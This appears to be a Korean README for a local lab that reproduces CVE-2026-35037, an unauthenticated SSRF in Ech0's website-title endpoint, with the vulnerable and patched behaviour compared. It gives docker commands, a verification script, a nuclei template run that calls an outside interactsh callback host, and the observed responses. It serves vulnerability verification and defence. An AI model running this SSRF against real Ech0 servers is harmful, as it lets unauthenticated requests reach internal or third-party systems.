
POC_CVE-2026-35037
이 저장소는 Ech0의 GET /api/website/title 엔드포인트에 존재하는 인증 없는 SSRF 취약점인 CVE-2026-35037을 위한 로컬 격리 재현 실습 환경을 포함합니다.
이 실습 환경은 클라우드 메타데이터나 타사 인프라 대신 통제된 로컬 증거(evidence) 서버를 사용합니다.
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1로 명시하며, NVD는 4.2.8 이전 버전으로 설명합니다.4.2.8GET /api/website/titlewebsite_url참고 자료:
docker-compose.yml: Ech0와 로컬 증거 HTTP 서버를 시작합니다.Dockerfile.ech0-lab: 공식 GitHub 태그에서 Ech0를 빌드합니다.verify-cve-2026-35037.sh: 통제된 SSRF 검증 요청을 전송합니다.evidence/index.html: 고유한 <title>을 가진 통제된 HTML 페이지nuclei/CVE-2026-35037.yaml: nuclei 템플릿 후보이 실습 환경을 만들 당시 sn0wl1n/ech0:4.2.1과 같은 과거 취약 Docker 태그를 사용할 수 없었습니다. 대신 이 실습 환경은 공식 lin-snow/Ech0 GitHub 태그에서 빌드합니다.
v4.2.1: 취약 후보용v4.2.8: 패치 비교용또한 로컬 Dockerfile은 기존 build.Dockerfile에서 관찰된 업스트림 빌드 문제를 회피합니다.
curlnuclei이 실습은 로컬 격리 환경에서만 실행하세요. 타사 시스템에 대해 이 명령을 사용하지 마세요. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에만 사용하세요.
Ech0 v4.2.1 시작:
ECH0_TAG=4.2.1 docker compose up -d --build
통제된 검증 요청 전송:
sh verify-cve-2026-35037.sh
예상되는 취약 응답:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
Ech0가 통제된 증거 서버에 도달했는지 확인:
docker compose logs evidence
관찰된 증거 로그:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
Ech0 v4.2.8 시작:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
동일한 요청 실행:
sh verify-cve-2026-35037.sh
관찰된 패치 응답:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
템플릿 검증:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
취약한 v4.2.1에 대해 실행:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
관찰된 취약 결과:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
패치된 v4.2.8에 대해 실행:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
관찰된 패치 결과:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/을 사용합니다.{{interactsh-url}}을 사용하며 OAST/interactsh 지원이 필요합니다.{{interactsh-url}}을 사용하며, 기본적으로 oast.online 또는 oast.fun과 같은 ProjectDiscovery의 interactsh 서버에 연결합니다. 서버를 재정의하려면 -iserver를, interactsh를 비활성화하려면 -ni를 사용하세요.